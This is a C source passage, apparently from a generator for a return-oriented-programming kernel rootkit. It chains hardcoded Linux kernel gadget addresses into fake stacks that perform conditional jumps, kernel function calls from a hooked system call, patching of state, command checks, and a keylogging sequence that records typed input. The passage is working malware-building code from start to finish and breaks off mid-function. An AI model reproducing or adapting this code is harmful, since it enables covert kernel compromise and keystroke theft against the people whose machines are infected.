static void generate_conditional_jump_equal(void **fake_stack, u32 *fake_stack_size,
u64 cond_offset)
{
u32 current_size = 0;
void *location = 0;
u32 location_size = 0;
// We need to make sure that we do not overwrite anything important.
// Since we have to use PUSHF to get the flags, the approach we
// need to take is rather involved.
// First of all we need to setup RAX as we will call it later on.
// RAX should execute our PUSHF gadget.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81143f0d, fake_stack, fake_stack_size); // PUSHF; CALL RCX;
// Next we need to setup RCX (see call above)
generate_pop(fake_stack, fake_stack_size, REG_RCX); // POP RCX; RET
add_to_fake_stack(0xffffffff8100a4dc, fake_stack, fake_stack_size); // ADR: POP RDX;
// POP RCX;
// POP RAX;
// RET;
// Now setup RDI with our sub gadget.
// IMPORTANT: We have to execute the gadget in RDI AFTER we make
// room on the stack as every ADD instruction changes the EFLAGS!
generate_pop(fake_stack, fake_stack_size, REG_RDI); // POP RCX; RET
add_to_fake_stack(0xffffffff8159978b, fake_stack, fake_stack_size); // SUB RDX, RBX;
// CALL RAX;
// Finally we can start the whole thing.
// Increment stack pointer and invoke SUB.
add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size); // ADD RSP, 0x18; JMP RDI;
// Padding
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the CALL RCX;
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the PUSHF!
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the CALL RAX of the sub!
// Flags are now in RCX!
// Move them to RAX.
generate_move_to_rax(fake_stack, fake_stack_size, REG_RCX);
// Load mask for ZF into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
add_to_fake_stack(1 << 6, fake_stack, fake_stack_size); // MASK ZF
// Isolate ZF using and
add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size); // AND EAX, EDX; RET
// SHR
add_to_fake_stack(0xffffffff810cea25, fake_stack, fake_stack_size); // SHR RAX,0x6; AND EAX,0x1; RET
// NEG
add_to_fake_stack(0xffffffff8135234a, fake_stack, fake_stack_size); // NEG RAX; RET
// Load conditional offset size into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
add_to_fake_stack(cond_offset, fake_stack, fake_stack_size); // Offset
// And the offset with the mask
add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size); // AND EAX, EDX; RET
// If we want to jump, rax is > 0
// Get the current stack pointer.
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8); // PUSH RSP; POP RDX; RET;
// Safe the size to be able to fix the stack
current_size = (*fake_stack_size);
// Add RSP to the offset
add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size); // ADD RAX, RDX; RET
// Account for the gadgets that follow PUSH RSP and FIX SP
// Move offset into RDI
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size); // POP RDI; RET
// We have to overwrite the next gadget with the correct size that
// is required to fix the stack (= the size of the remaining gadgets
// in this function), once we know it at the end of the function.
location = (*fake_stack);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Gadget size
// must be overwritten!
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Move new SP to RBP
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c); // PUSH RAX; POP RBP; RET
// LEAVE RET
add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size); // LEAVE; RET;
// Fix the gadget size from above.
// Gadgets - space of new RBP, since we use LEAVE RET!
add_to_fake_stack((*fake_stack_size) - current_size - 8,
&location, &location_size);
}
/**
* Add a gadget sequence for a conditional jump not equal (jnz).
*
* This function will add a gadget sequence for a conditional jump.
* The value to check is thereby expected to be contained in RDX,
* while the value to compare with is expected to be in RBX!
* This sequence uses RAX, RBX, RCX, RDX, RDI, and RBP
*
* This function is stack save. That is, the function will not overwrite any
* previously executed gadgets (gadgets that reside before the current SP).
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param cond_offset The number of bytes that should be skipped in case the
* RBX != RDX.
*/
static void generate_conditional_jump_not_equal(void **fake_stack, u32 *fake_stack_size,
u64 cond_offset)
{
u32 current_size = 0;
void *location = 0;
u32 location_size = 0;
// We need to make sure that we do not overwrite anything important.
// Since we have to use PUSHF to get the flags, the approach we
// need to take is rather involved.
// First of all we need to setup RAX as we will call it later on.
// RAX should execute our PUSHF gadget.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81143f0d, fake_stack, fake_stack_size); // PUSHF; CALL RCX;
// Next we need to setup RCX (see call above)
generate_pop(fake_stack, fake_stack_size, REG_RCX); // POP RCX; RET
add_to_fake_stack(0xffffffff8100a4dc, fake_stack, fake_stack_size); // ADR: POP RDX;
// POP RCX;
// POP RAX;
// RET;
// Now setup RDI with our sub gadget.
// IMPORTANT: We have to execute the gadget in RDI AFTER we make
// room on the stack as every ADD instruction changes the EFLAGS!
generate_pop(fake_stack, fake_stack_size, REG_RDI); // POP RCX; RET
add_to_fake_stack(0xffffffff8159978b, fake_stack, fake_stack_size); // SUB RDX, RBX;
// CALL RAX;
// Finally we can start the whole thing.
// Increment stack pointer and invoke SUB.
add_to_fake_stack(0xffffffff816d3626, fake_stack, fake_stack_size); // ADD RSP, 0x18; JMP RDI;
// Padding
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the CALL RCX;
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the PUSHF!
add_to_fake_stack(0x4242424242424242, fake_stack, fake_stack_size); // This value will be overwritten
// by the CALL RAX of the sub!
// Flags are now in RCX!
// Move them to RAX.
generate_move_to_rax(fake_stack, fake_stack_size, REG_RCX);
// Flags are now in RAX
// Load mask for ZF into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
add_to_fake_stack(1 << 6, fake_stack, fake_stack_size); // MASK ZF
// Isolate ZF using and
add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size); // AND EAX, EDX; RET
// SHR
add_to_fake_stack(0xffffffff810cea25, fake_stack, fake_stack_size); // SHR RAX,0x6; AND EAX,0x1; RET
// SET RDX to 1
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
add_to_fake_stack(0x1, fake_stack, fake_stack_size); // 0x1
// XOR
add_to_fake_stack(0xffffffff81678448, fake_stack, fake_stack_size); // XOR EAX, EDX; RET
// Now RAX is 1 if the ZF was NOT set!
// NEG
add_to_fake_stack(0xffffffff8135234a, fake_stack, fake_stack_size); // NEG RAX; RET
// Load conditional offset size into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
add_to_fake_stack(cond_offset, fake_stack, fake_stack_size); // Offset
// And the offset with the mask
add_to_fake_stack(0xffffffff815af5a9, fake_stack, fake_stack_size); // AND EAX, EDX; RET
// If we want to jump, rax is > 0
// Get the current stack pointer.
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8); // PUSH RSP; POP RDX; RET;
// Safe the size to be able to fix the stack
current_size = (*fake_stack_size);
// Add RSP to the offset
add_to_fake_stack(0xffffffff8101baf1, fake_stack, fake_stack_size); // ADD RAX, RDX; RET
// Account for the gadgets that follow PUSH RSP and FIX SP
// Move offset into RDI
add_to_fake_stack(0xffffffff8135469f, fake_stack, fake_stack_size); // POP RDI; RET
// We have to overwrite the next gadget with the correct size that
// is required to fix the stack (= the size of the remaining gadgets
// in this function), once we know it at the end of the function.
location = (*fake_stack);
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // Gadget size
// must be overwritten!
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Move new SP to RBP
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c); // PUSH RAX; POP RBP; RET
// LEAVE RET
add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size); // LEAVE; RET;
// Fix the gadget size from above.
// Gadgets - space of new RBP, since we use LEAVE RET!
add_to_fake_stack((*fake_stack_size) - current_size - 8,
&location, &location_size);
}
/**
* Add a printk statement to the given fake stack.
*
* This function will generate a printk sequence for the
* given string.
* The sequence uses RDX, RDI, RAX, and RBP.
*
* IMPORTANT: This function is NOT stack safe as it uses an
* external function ('printk').
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param fmt The format string to be printed.
* @param ... The arguments of the format string.
*/
static void generate_printk(void **fake_stack, u32 *fake_stack_size, char *fmt, ...)
{
int size = 0;
u32 i = 0;
u64 distance = 0;
u64 cleanup = 0;
u64 *strp = 0;
va_list argp;
char *buffer = malloc(4096);
printf("\t[*] Generating printk gadget sequence...\n");
if (!buffer)
{
error(-1, 0, " [!] Could not allocate memory for string!\n");
}
va_start(argp, fmt);
size = vsnprintf(buffer, 4096, fmt, argp);
va_end(argp);
if (size < 0 || size >= 4088)
{
error(-1, 0, " [!] String is too big!\n");
}
// Terminate string
buffer[size] = '\0';
size++;
// Calculate variables
// "Align" string
while (size % 0x8 != 0)
{
buffer[size] = '\0';
size++;
}
// Calculate the cleanup portion
cleanup = (*fake_stack_size);
// We write a cleanup portion to the fake stack to get its size,
// however we will reset the stack afterwards such that this gadget
// is overwritten.
generate_stack_increment(fake_stack, fake_stack_size, size);
cleanup = (*fake_stack_size) - cleanup;
// Reset
(*fake_stack_size) -= cleanup;
(*fake_stack) -= cleanup;
// Calculate the distance to the string in bytes
distance = 7 * 8; // There are 7 gadgets before the cleanup portion
distance += cleanup; // The cleanup
// -----------------------------------------> Gadget sequence starts here
// Get the current stack pointer.
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8); // PUSH RSP; POP RDX; RET;
// Load distance to string into RDI
add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size); // POP RDI, RET;
add_to_fake_stack(distance, fake_stack, fake_stack_size); // DISTANCE
// Move SP from RDX to RAX
add_to_fake_stack(0xffffffff81091536, fake_stack, fake_stack_size); // MOV RAX, RDX; RET;
// Add RAX (SP) to RDI (distance)
// Notice that RDI is also the first argument
// for printk!
add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size); // ADD RDI, RAX; MOV RAX, RDI; RET;
// Load Address of 'printk' into RAX
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff816be98c, fake_stack, fake_stack_size); // Address of printk
// "Call" printk
add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size); // JMP RAX;
// Cleanup - Remove the string from the stack
generate_stack_increment(fake_stack, fake_stack_size, size);
// Copy the string
strp = (u64 *)buffer;
for (i = 0; i < size; i += sizeof(u64))
{
add_to_fake_stack((*strp), fake_stack, fake_stack_size); // Copy bytes of the string
strp++;
}
}
/**
* Generate a kmalloc gadget sequence.
*
* This function generates a gadget sequence that invokes kmalloc
* using the specified size. The result of the kmalloc call will be
* in RAX.
*
* The function makes use of RAX, RDI, and RSI.
*
* IMPORTANT: This function is NOT stack safe!
*
* @param fake_stack The fake stack the patching sequence is added to.
* @param fake_stack_size The current size of the fake stack.
* @param size The size of the memory area that should be allocated.
*/
static void generate_kmalloc(void **fake_stack, u32 *fake_stack_size,
u32 size)
{
// RDI = size, RSI = GFP_KERNEL
generate_pop(fake_stack, fake_stack_size, REG_RDI);
add_to_fake_stack(size, fake_stack, fake_stack_size); // SIZE in RDI
generate_pop(fake_stack, fake_stack_size, REG_RSI);
add_to_fake_stack(0xd0, fake_stack, fake_stack_size); // GFP_KERNEL, 0xd0
// Load Address of '__kmalloc' into RAX
generate_pop(fake_stack, fake_stack_size, REG_RAX); // POP RAX; RET;
add_to_fake_stack(0xffffffff8117d490, fake_stack, fake_stack_size); // Address of __kmalloc
// "Call" __kmalloc
add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size); // JMP RAX;
}
/**
* Generate a patching gadget seqeunce.
*
* A patching gadget sequence patches all entries within a given fake
* stack (RCX) using the current value in RDI as base address. That is,
* the patching sequence generated by this function will iterate over
* all patching symbols within the target fake stack and patch them at
* run-time using the current value of RDI.
*
* The function is stack safe.
*
* IMPORTANT: This function expects the target fake stack to be in RCX,
* and the base address of the state to be in RDI. In addition,
* This function does not check whether RDI contains a
* pointer to the global state or a process state. The
* user has to specify this using the scope argument.
*
* The function makes use of RAX, RCX, and RDI.
*
* @param fake_stack The fake stack the patching sequence is added to.
* @param fake_stack_size The current size of the fake stack.
* @param target_fake_stack The fake stack containing all the patch
* symbols that should be processed.
* @param target_fake_stack_size The size of the target fake stack,
* @param scope The type of symbols that should be patched.
*/
static void generate_patch_gadget(void **fake_stack, u32 *fake_stack_size,
void *target_fake_stack, u32 target_fake_stack_size,
enum patch_scope scope)
{
u32 i = 0;
u32 patch_offset = 0;
void *target_stack_begin = target_fake_stack - target_fake_stack_size;
for (i = 0; i < patch_entry_index; ++i)
{
// Is this a symbol we want to process?
if (patch_entries[i].scope != scope || scope == ALL)
{
continue;
}
// Does the symbol lie in the target stack?
if (patch_entries[i].fake_stack_position < target_stack_begin ||
patch_entries[i].fake_stack_position > target_fake_stack)
{
continue;
}
// Set Offset
patch_offset = patch_entries[i].type + patch_entries[i].type_offset;
//printf("PATCHING %lx in stack %p\n", patch_offset, target_stack_begin);
// ----------------------------------------------------------------
// 1. Add the current offset to RDI, which contains the base address
// of the state.
// ----------------------------------------------------------------
// First add the offset to it.
generate_add_value(fake_stack, fake_stack_size,
patch_offset, REG_RDI);
// Save RDI as it is used by ADD and SUB gadgets
generate_move_to_rax(fake_stack, fake_stack_size, REG_RDI);
generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
// ----------------------------------------------------------------
// 2. Calculate the address we want to patch
// ----------------------------------------------------------------
// The address of the memory region that should be patched is
// currently in RCX. Add the offset of the symbol to it.
generate_add_value(fake_stack, fake_stack_size,
patch_entries[i].fake_stack_offset, REG_RCX);
// ----------------------------------------------------------------
// 3. Restore RDI
// ----------------------------------------------------------------
generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDI);
// ----------------------------------------------------------------
// 4. Do the patching
// ----------------------------------------------------------------
add_to_fake_stack(0xffffffff813df7ba, fake_stack, fake_stack_size); // MOV [RCX], RDI;
// XOR EAX,EAX;
// RET;
// ----------------------------------------------------------------
// 5. RESET RDI and RCX
// ----------------------------------------------------------------
// RDI
generate_substract_value(fake_stack, fake_stack_size, patch_offset,
REG_RDI);
// Save RDI
generate_move_to_rax(fake_stack, fake_stack_size, REG_RDI);
generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
// RCX
generate_substract_value(fake_stack, fake_stack_size,
patch_entries[i].fake_stack_offset, REG_RCX);
// Restore RDI
generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDI);
}
}
/**
* Generate initialize a process state.
*
* Generate a gadget sequence that initializes the local state of
* a process. It expects a pointer to the state in RAX.
*
* The function makes use of RAX, RCX, and RDI.
*
* The function is stack safe!
*
* @param fake_stack The fake stack the patching sequence is added to.
* @param fake_stack_size The current size of the fake stack.
*
*/
static void generate_initialize_process_state(void **fake_stack, u32 *fake_stack_size)
{
// 1. Debug
// Move offset into RDI
generate_pop(fake_stack, fake_stack_size, REG_RDI); // POP RDI; RET
add_to_fake_stack(DEBUG, fake_stack, fake_stack_size); // OFFSET
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Setup value
generate_pop(fake_stack, fake_stack_size, REG_RDX); // POP RDX; RET
// DEBUG ON=0x1, DEBUG OFF=0x0
add_to_fake_stack(0x1, fake_stack, fake_stack_size); // The value for debug
// SET
add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size); // MOV [RAX],RDX; RET
// DEBUG DONE
// 2. Keylog
generate_pop(fake_stack, fake_stack_size, REG_RDI); // POP RDI; RET
add_to_fake_stack(KEYLOG - DEBUG, fake_stack, fake_stack_size); // OFFSET
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Setup value
generate_pop(fake_stack, fake_stack_size, REG_RDX); // POP RDX; RET
// KEYLOG ON=0x1, KEYLOG OFF=0x0
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // The value for KEYLOG
// SET
add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size); // MOV [RAX],RDX; RET
// Keylog DONE
// 3. BUFFER_INDEX
generate_pop(fake_stack, fake_stack_size, REG_RDI); // POP RDI; RET
add_to_fake_stack(BUFFER_INDEX - KEYLOG, fake_stack, fake_stack_size); // OFFSET
// Add offset to RAX
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Setup value
generate_pop(fake_stack, fake_stack_size, REG_RDX); // POP RDX; RET
// DEFAULT 0
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // The value for BUFFER_INDEX
// SET
add_to_fake_stack(0xffffffff8115c832, fake_stack, fake_stack_size); // MOV [RAX],RDX; RET
// BUFFER_INDEX DONE
}
/**
* Generates a gadget for an external function call.
*
* The gadget uses the kernel stack for an external function call. It is
* useful when we have to execute external function calls within a loop
* and must therefore keep our stack unmodified.
*
* The function arguments must be in TMP_RDI, TMP_RSI and TMP_RDX.
* Currently only functions with 3 arguments supported.
*
* This gadget uses RAX, RBX, RCX, RDX, RSI, RDI, RBP.
*
* This function is stack safe as it uses the kernel stack for the actual
* function call.
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param address The address of the function to be called.
*/
static void generate_external_call(void **fake_stack, u32 *fake_stack_size,
u64 address)
{
void *location = 0;
u32 location_size = 0;
// ----------------------------------------------------------------
// Get the location of the original kernel stack
// ----------------------------------------------------------------
// Lets first calculate the address of the kernel stack.
// For this we move the address of the per_cpu kernel stack into RAX.
// This address is contained in gs:0xc730. It is a fixed address for
// our target machine.
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffff88003d80c730, fake_stack, fake_stack_size); // gs:0xc730
// We want the VALUE at this address
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET
// Load offset from per_cpu(kernel_stack) to current
// kernel stack (basically we have to account for the memory
// that the system call handler is using) into RSI
add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size); // POP RSI; RET;
add_to_fake_stack(0x60, fake_stack, fake_stack_size); // Offset. This is
// the space that the
// system_call_handler
// is using.
// We now have to SUBSTRACT (the stack grows down!) this value from the
// kernel stack in RAX to get the value the SP had before our sysenter
// hook was invoked.
add_to_fake_stack(0xffffffff8158f734, fake_stack, fake_stack_size); // SUB RAX, RSI; RET;
// Move the pointer into RSI
generate_move_from_rax(fake_stack, fake_stack_size, REG_RSI);
// ----------------------------------------------------------------
// Prepare the kernel stack for the call
// ----------------------------------------------------------------
// We now place the return address on the kernel stack.
// For this we need the current stack pointer.
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff812ce0c8); // PUSH RSP; POP RDX; RET;
// The SP points here! Safe this location to calculate the correct
// offset at the end.
location_size = (*fake_stack_size);
// Move RAX to RDX
generate_move_to_rax(fake_stack, fake_stack_size, REG_RDX);
// Add the size of this sequence to the amount that the SP should
// be increased by. Since the size of the sequence is unknown at
// this point, we will overwrite this gadget at the end of the
// function with the correct size!
// For the latter we first save the address and the size
location = (*fake_stack);
generate_add_value(fake_stack, fake_stack_size, 0, REG_RAX);
// RAX now contains return address.
// Move
// RSI was already loaded above!
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Return address now on kernel stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// Next move a POP RSP; RET gadget to the stack.
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0xffffffff81423f82, fake_stack, fake_stack_size); // POP RSP; RET
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RSP; RET now on kernel stack.
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// Finally we have to move the function we want to call to the
// stack
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(address, fake_stack, fake_stack_size); // Function address
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Function now on kernel stack.
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// Now the arguments
// RDI
generate_get_state_value(fake_stack, fake_stack_size,
TMP_RDI, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RDI on stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// POP RDI;
generate_pop(fake_stack, fake_stack_size, REG_RAX);
generate_pop(fake_stack, fake_stack_size, REG_RDI);
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RDI; RET;
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// RSI
generate_get_state_value(fake_stack, fake_stack_size,
TMP_RSI, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RSI on stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// POP RSI;
generate_pop(fake_stack, fake_stack_size, REG_RAX);
generate_pop(fake_stack, fake_stack_size, REG_RSI);
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RSI; RET;
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// RDX
generate_get_state_value(fake_stack, fake_stack_size,
TMP_RDX, REG_RAX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// Value of RDX on stack
// Substract 8 from RSI such that it points to the next free value
// on the kernel stack
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// POP RDI;
generate_pop(fake_stack, fake_stack_size, REG_RAX);
generate_pop(fake_stack, fake_stack_size, REG_RDX);
// Move
add_to_fake_stack(0xffffffff8102eaa1, fake_stack, fake_stack_size); // MOV [RSI],RAX;
// XOR EAX,EAX;
// RET;
// POP RDX; RET;
// ----------------------------------------------------------------
// Execute!
// ----------------------------------------------------------------
// Now the call. We use LEAVE; RET for this purpose.
// Substract 8 from the kernel stack pointer to account for POP RBP!
generate_substract_value(fake_stack, fake_stack_size,
0x8, REG_RSI);
// Move the Pointer
generate_move_to_rax(fake_stack, fake_stack_size, REG_RSI);
// Move new SP to RBP
generate_safe_push(fake_stack, fake_stack_size, 0xffffffff8116747c); // PUSH RAX; POP RBP; RET;
// LEAVE; RET
add_to_fake_stack(LEAVE_RET, fake_stack, fake_stack_size); // LEAVE; RET;
// Overwrite the add sequence. We want to return here after the call!
generate_add_value(&location, &location_size,
(*fake_stack_size) - location_size,
REG_RAX);
}
/**
* Generates a command checking sequence.
*
* This function generates a gadget sequence that checks the current
* process buffer for a specific command. During run-time it returns
* 0 if a the current command matches the command to check for.
*
* This gadget uses RAX, RBX, RCX, RDX, RSI, RDI, RBP.
*
* IMPORTANT: This function is NOT stack safe!
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
* @param command The command string to check for in hex in reverse!
*/
static void generate_check_command(void **fake_stack, u32 *fake_stack_size,
u64 command)
{
void *jmp_no_command = 0;
u32 jmp_no_command_size = 0;
// Status
printf("\t[*] Generating check command...\n");
// Check if the command flag is set, otherwise this is no command
// RBX value to compare with
// RDX value to compare
// COMMAND goes into RDX
generate_get_state_value(fake_stack, fake_stack_size,
COMMAND, REG_RDX);
// Command must be set (0x1)
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
// Check
// Must be patched later on
jmp_no_command = (*fake_stack);
generate_conditional_jump_not_equal(fake_stack, fake_stack_size, 0x0);
jmp_no_command_size = (*fake_stack_size);
// Check if the buffer matches the given command
// Get the current stack pointer.
add_to_fake_stack(0xffffffff812ce0c8, fake_stack, fake_stack_size); // PUSH RSP; POP RDX; RET;
// Load distance to command into RDI
// You have to update this constant in case you add gadgets in
// between.
add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size); // POP RDI, RET;
add_to_fake_stack(12 * 8, fake_stack, fake_stack_size); // DISTANCE TO CMD
// Move SP from RDX to RAX
add_to_fake_stack(0xffffffff81091536, fake_stack, fake_stack_size); // MOV RAX, RDX; RET;
// Add RAX (SP) to RDI (distance)
// Notice that RDI is also the first argument
// for printk!
add_to_fake_stack(0xffffffff811c98de, fake_stack, fake_stack_size); // ADD RDI, RAX; MOV RAX, RDI; RET;
// Load current command into RSI
add_to_fake_stack(0xffffffff81343c9e, fake_stack, fake_stack_size); // POP RSI, RET;
add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // BEGIN OF BUFFER,
// must be overwritten
// Load length into RDX
add_to_fake_stack(0xffffffff812ce029, fake_stack, fake_stack_size); // POP RDX; RET
add_to_fake_stack(0x8, fake_stack, fake_stack_size); // Offset
// Load Address of 'strncmp' into RAX
add_to_fake_stack(0xffffffff8100a4de, fake_stack, fake_stack_size); // POP RAX; RET;
add_to_fake_stack(0xffffffff8134ef40, fake_stack, fake_stack_size); // Address of strncmp
// "Call" strncmp
add_to_fake_stack(0xffffffff81000110, fake_stack, fake_stack_size); // JMP RAX;
// POP Command and continue
add_to_fake_stack(0xffffffff810b2703, fake_stack, fake_stack_size); // POP RDI, RET;
add_to_fake_stack(command, fake_stack, fake_stack_size); // The command
// Jump over the pop rax gadget from below, as RAX was set by
// strcmp
add_to_fake_stack(0xffffffff81352d33, fake_stack, fake_stack_size); // ADD RSP, 0x10; RET
// Patch jump
generate_conditional_jump_not_equal(&jmp_no_command,
&jmp_no_command_size,
(*fake_stack_size) - jmp_no_command_size);
// The conditional jump lands here
// Set RAX to something != 0
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x1, fake_stack, fake_stack_size);
}
/**
* Generates the keylogging sequence.
*
* This function generates the keylogging seqeunce. As this is a very
* specific sequence that expects various coditions to be met before
* it is executed, the function should only be called from the payload chain.
*
* This gadget uses ALL general purpose registers!
*
* IMPORTANT: This function is NOT stack safe!
*
* @param fake_stack The fake stack the gadget will be added to.
* @param fake_stack_size The size of the fake stack.
*/
static void generate_keylog(void **fake_stack, u32 *fake_stack_size)
{
// Jump vars
void *jmp_no_newline = 0;
u32 jmp_no_newline_size = 0;
void *jmp_no_keylog = 0;
u32 jmp_no_keylog_size = 0;
void *jmp_no_keylog_set = 0;
u32 jmp_no_keylog_set_size = 0;
void *jmp_no_keylog_unset = 0;
u32 jmp_no_keylog_unset_size = 0;
void *jmp_no_debug = 0;
u32 jmp_no_debug_size = 0;
// Status
printf("\t[*] Generating keylogging gadget sequence...\n");
// ================================================================
// >> NEWLINE PROCESSING
// ----------------------------------------------------------------
// ----------------------------------------------------------------
// Check for newline
// ----------------------------------------------------------------
// First we reset command to 0
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_to_fake_stack(0x0, fake_stack, fake_stack_size);
generate_set_state_value(fake_stack, fake_stack_size,
COMMAND, REG_RAX);
// Load the current index into rdi
generate_get_state_value(fake_stack, fake_stack_size,
BUFFER_INDEX, REG_RDI);
// Substract 1 as we want the last character.
generate_substract_value(fake_stack, fake_stack_size,
0x1, REG_RDI);
// Load the base address into rax
generate_pop(fake_stack, fake_stack_size, REG_RAX);
add_patch_entry(fake_stack, fake_stack_size, BUFFER, 0); // Create a patch entry
add_to_fake_stack(0x0, fake_stack, fake_stack_size); // BUFFER,
// must be overwritten
// Increase the buffer by the current index - 1
add_to_fake_stack(0xffffffff8104c41d, fake_stack, fake_stack_size); // ADD RAX, RDI; RET
// Get the data
add_to_fake_stack(0xffffffff81074b56, fake_stack, fake_stack_size); // MOV RAX, [RAX]; RET
// Only execute the next part if RAX == 13 ("\r")
// RBX must contain the value to compare with
generate_pop(fake_stack, fake_stack_size, REG_RBX);
add_to_fake_stack(13, fake_stack, fake_stack_size);
// RDX must contain the value to compare
generate_move_from_rax(fake_stack, fake_stack_size, REG_RDX);
jmp_no_newline = (*fake_stack);
